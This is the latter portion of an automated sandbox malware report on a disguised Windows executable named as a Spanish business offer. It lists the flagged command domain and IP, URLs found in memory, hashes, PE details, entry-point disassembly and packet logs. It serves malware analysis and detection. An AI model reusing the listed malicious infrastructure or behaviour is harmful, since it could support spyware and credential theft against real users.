https://qHEDRowcvxxxWAUzuEGa.com	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	Avira URL Cloud	safe
http://r3.i.lencr.org/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mylgestion.com	37.59.226.120	true	true	0%, Virustotal, Browse	unknown
drive.google.com	142.250.185.238	true	false		high
googlehosted.l.googleusercontent.com	142.250.184.193	true	false		high
doc-04-9c-docs.googleusercontent.com	unknown	unknown	false		high
mail.mylgestion.com	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-04-9c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5kienm2p56h5ornm8v1n6puocoet5fn/1632761700000/13596271228415839806/*/1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-04-9c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5kienm2	RegAsm.exe, 00000009.00000003.1173461798.00000000010D8000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000003.2146241908.00000000010BF000.00000004.00000001.sdmp	false		high
https://doc-04-9c-docs.googleusercontent.com/	RegAsm.exe, 00000009.00000002.5637000652.000000000109C000.00000004.00000020.sdmp, RegAsm.exe, 00000009.00000003.1173461798.00000000010D8000.00000004.00000001.sdmp	false		high
http://cps.letsencrypt.org0	RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://qHEDRowcvxxxWAUzuEGa.comt-Dl	RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://harvFZ.com	RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	RegAsm.exe, 00000009.00000002.5635613619.0000000001058000.00000004.00000020.sdmp	false		high
http://x1.c.lencr.org/0	RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/0	RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.o.lencr.org0	RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.mylgestion.com	RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://mylgestion.com	RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://qHEDRowcvxxxWAUzuEGa.com	RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.root-x1.letsencrypt.org0	RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.i.lencr.org/0	RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-04-9c-docs.googleusercontent.com/M	RegAsm.exe, 00000009.00000002.5637000652.000000000109C000.00000004.00000020.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
37.59.226.120	mylgestion.com	France	16276	OVHFR	true
142.250.185.238	drive.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.11.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	1372
Start date:	27.09.2021
Start time:	18:51:21
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@4/1@3/4
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 97% Number of executed functions: 80 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MusNotification.exe, dllhost.exe, RuntimeBroker.exe, BdeUISrv.exe, SIHClient.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, MusNotificationUx.exe, UsoClient.exe, WMIADAP.exe, SgrmBroker.exe, svchost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 40.117.96.136, 13.107.5.88, 20.82.209.183, 40.112.88.60, 20.199.120.151, 52.152.110.14, 52.109.88.36, 20.54.89.15, 40.125.122.151, 52.242.97.97, 40.125.122.176, 51.104.167.255, 8.248.115.254, 8.248.141.254, 8.248.137.254, 8.248.143.254, 8.253.207.120, 104.89.85.192, 51.124.78.146, 20.199.120.182, 20.199.120.85, 40.126.31.8, 40.126.31.1, 20.190.159.132, 40.126.31.4, 20.190.159.138, 20.190.159.134, 20.190.159.136, 40.126.31.6 Excluded domains from analysis (whitelisted): geover.prod.do.dsp.mp.microsoft.com, fg.download.windowsupdate.com.c.footprint.net, geo.prod.do.dsp.trafficmanager.net, slscr.update.microsoft.com, e10370.g.akamaiedge.net, e-0009.e-msedge.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, fe3.delivery.dsp.mp.microsoft.com.nsatc.net, wns.notify.trafficmanager.net, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, geover.prod.do.dsp.mp.microsoft.com.edgekey.net, slscr.update.microsoft.com.akadns.net, www.bing.com, evoke-windowsservices-tas-msedge-net.e-0009.e-msedge.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, client.wns.windows.com, geo.prod.do.dsp.mp.microsoft.com, array609.prod.do.dsp.mp.microsoft.com, dual-a-0001.a-msedge.net, sls.update.microsoft.com.akadns.net, ris-prod.trafficmanager.net, wu-shim.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, sls.emea.update.microsoft.com.akadns.net, fe3.delivery.mp.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, apimgmttmr17ij3jt5dneg64srod9jevcuajxaoube4brtu9cq.trafficmanager.net, evoke-windowsservices-tas.msedge.net, apimgmthszbjimgeglorvthkncixvpso9vnynvh3ehmsdll33a.cloudapp.net, nexusrules.officeapps.live.com, manage.devcenter.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:56:10	API Interceptor	2549x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
37.59.226.120	METALES COSTA DEL SOL S.L. Offer 20211445.exe	Get hash	malicious	Browse
	fTUV8XwlT7.exe	Get hash	malicious	Browse
	BBVA-Confirming Contrato de Cesi#U00f3n de Cr#U00e9ditos Sin Recurso.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	ZFb3RmLJzo	Get hash	malicious	Browse	51.70.255.217
	Sht1aYGDIX	Get hash	malicious	Browse	51.178.244.189
	nDHL_Shipment_Notification_1231413385_Notification_1231413385_september2021.exe	Get hash	malicious	Browse	178.32.63.50
	DHL_Shipment_Notification_1231413385_Notification_1231413385_september2021.exe	Get hash	malicious	Browse	178.32.63.50
	Lrs8NGx6VM.exe	Get hash	malicious	Browse	164.132.171.176
	Claim-838392655-09242021.xls	Get hash	malicious	Browse	51.89.115.111
	2PzMc3x4WP.exe	Get hash	malicious	Browse	87.98.153.120
	e5jVcbuCo5.exe	Get hash	malicious	Browse	176.31.32.199
	i7qUJCnMz0.exe	Get hash	malicious	Browse	176.31.32.199
	zsChlwJrkj.exe	Get hash	malicious	Browse	176.31.32.199
	claim.xls	Get hash	malicious	Browse	51.89.115.111
	9uHCz7MrjF.exe	Get hash	malicious	Browse	176.31.32.199
	J1IYv644YS.exe	Get hash	malicious	Browse	51.254.69.209
	b3astmode.arm7	Get hash	malicious	Browse	37.187.28.233
	J7SOJRlEly.exe	Get hash	malicious	Browse	51.91.193.179
	SE6Hlp3GfE.exe	Get hash	malicious	Browse	176.31.32.199
	TxIlr8dCCJ.exe	Get hash	malicious	Browse	176.31.32.199
	xZqtlgwoWq.exe	Get hash	malicious	Browse	176.31.32.199
	XwfWWIkABj.exe	Get hash	malicious	Browse	51.254.84.37
	w86r2qGEjf.exe	Get hash	malicious	Browse	176.31.32.199

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	PO-003785GMHN.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	Image-Scan-80195056703950029289.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	NH8Oxi5PZo.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	FDVCyigTWH.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	PO-003785GMHN.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	cYKFZFK0Rg.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	svchost.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	T6zZFfRLqs.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	nY67wl47QZ.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	OfE705GyPZ.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	W7fb1ECIQA.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	R9LbEnIk0s.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	payment confirmation.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	recital-239880844.xls	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	Unreal.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	Silver_Light_Group_DOC03027321122.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	7XmWGse79x.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193
	m5W1BZQU4m.exe	Get hash	malicious	Browse	142.250.185.238 142.250.184.193

Dropped Files

No context

Created / dropped Files

\Device\ConDrv Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	NordVPN directory not found!..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.27152818261402
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe
File size:	102400
MD5:	917a78f3605abfda3674fe5264a721e9
SHA1:	c753e171b3ef5b974d70de7247734e3008841fd2
SHA256:	03e08e44d9df2a0ecc7824cc1b8f41e200cee531be111ee21d56ae1a5e05821a
SHA512:	b47adccf86fe1998de864d46a71a7b40efa8846b969ffc175fa2a345000f7f9b472c223c040b58fbda1511bfb5b0c58bb3b309ad276c3ad41e05234107eba67f
SSDEEP:	3072:ybQFnVb1t7zwaWVXpDMDeUtulrRMMBSy7gSNYS:WMnh1twaWh2DeUtulrRMuSy7gg
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1...1...1.......0...~...0.......0...Rich1...........PE..L.....xY.................P...0...............`....@................

File Icon


Icon Hash:	78f8d6d4ac88d0e2

Static PE Info

General
Entrypoint:	0x4012d4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x597805FC [Wed Jul 26 03:01:16 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1eb0aaa4f15bbd841e91215ce68e26d2

Entrypoint Preview

Instruction
push 00413868h
call 00007FCF48AC9005h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
cmp byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
cmpsd
sbb byte ptr [ebp-305F6254h], 00000048h
stosb
cmp dword ptr [ecx+464A995Ch], edi
pop ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
or cl, ch
add eax, dword ptr [ebx]
push edx
imul si, word ptr [00004100h], 0000h
add bh, bh
int3
xor dword ptr [eax], eax
add dword ptr [ecx+0A16C4FDh], eax
pop edi
inc dword ptr [esp+ebp*4-32h]
out dx, al
test dword ptr [esi+ecx*8], esp
fld tbyte ptr [esi]
pop ebx
and dh, dl
pop ebx
push ecx
sub al, F8h
dec eax
mov dl, 84h
inc edx
sub bl, ch
bound edi, dword ptr [ecx+28h]
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
call far 000Ah : F7000124h
add byte ptr [eax], al
add al, 00h
jc 00007FCF48AC9074h
jbe 00007FCF48AC9012h
or eax, 43000601h
outsd
jbe 00007FCF48AC9077h
outsb
cmp dword ptr [eax], eax
sbb dword ptr [ecx], eax
add byte ptr [edx+00h], al
and esi, dword ptr [esi+6C00000Ah]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x14f34	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x17000	0x1cb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0xdc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x14308	0x15000	False	0.561941964286	data	6.66841189519	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x16000	0x9f4	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x17000	0x1cb0	0x2000	False	0.263427734375	data	3.45335815554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CUSTOM	0x18b72	0x13e	MS Windows icon resource - 1 icon, 16x16, 16 colors	English	United States
CUSTOM	0x185f4	0x57e	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel	English	United States
CUSTOM	0x18076	0x57e	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel	English	United States
CUSTOM	0x17f38	0x13e	MS Windows icon resource - 1 icon, 16x16, 16 colors	English	United States
RT_ICON	0x178d0	0x668	dBase IV DBT of `.DBF, block length 1536, next free block index 40, next free block 252, next used block 65280
RT_ICON	0x175e8	0x2e8	data
RT_ICON	0x174c0	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x17490	0x30	data
RT_VERSION	0x17230	0x260	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaErrorOverflow, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, _adj_fdivr_m32, _adj_fdiv_r, __vbaFpI4, _CIatan, __vbaStrMove, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	elect
FileVersion	1.00
CompanyName	CelRox
Comments	CelRox
ProductName	CelRox
ProductVersion	1.00
FileDescription	CelRox
OriginalFilename	elect.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 18:55:58.536099911 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.536175013 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:58.536381006 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.557549000 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.557585955 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:58.606781006 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:58.606986046 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.608896971 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:58.609134912 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.767396927 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.767455101 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:58.768130064 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:58.768284082 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.772950888 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:58.813957930 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:59.036264896 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:59.036411047 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:59.036439896 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:59.036547899 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:59.036639929 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:59.036758900 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:59.036789894 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:59.036863089 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:59.107002974 CEST	49718	443	192.168.11.20	142.250.185.238
Sep 27, 2021 18:55:59.107024908 CEST	443	49718	142.250.185.238	192.168.11.20
Sep 27, 2021 18:55:59.138876915 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.138907909 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.139132023 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.139381886 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.139395952 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.192195892 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.192459106 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.195115089 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.195342064 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.198832989 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.198857069 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.199295998 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.199461937 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.199927092 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.241858006 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.394726992 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.394905090 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.394972086 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.395389080 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.395570040 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.395677090 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.396177053 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.396418095 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.397361994 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.397447109 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.397551060 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.397578955 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.397677898 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.397712946 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.397988081 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.398504019 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.398521900 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.398953915 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.404294968 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.404480934 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.404496908 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.404515982 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.404687881 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.404748917 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.404778957 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.404956102 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.405153036 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.405381918 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.405406952 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.405550957 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.405924082 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.406161070 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.406193972 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.406364918 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.406514883 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.406691074 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.406718016 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.406920910 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.407238007 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.407407045 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.407429934 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.407576084 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.407784939 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.408046007 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.408067942 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.408260107 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.408478975 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.408730030 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.408751965 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.409015894 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.409126043 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.409349918 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.409365892 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.409807920 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.409827948 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.409987926 CEST	49719	443	192.168.11.20	142.250.184.193
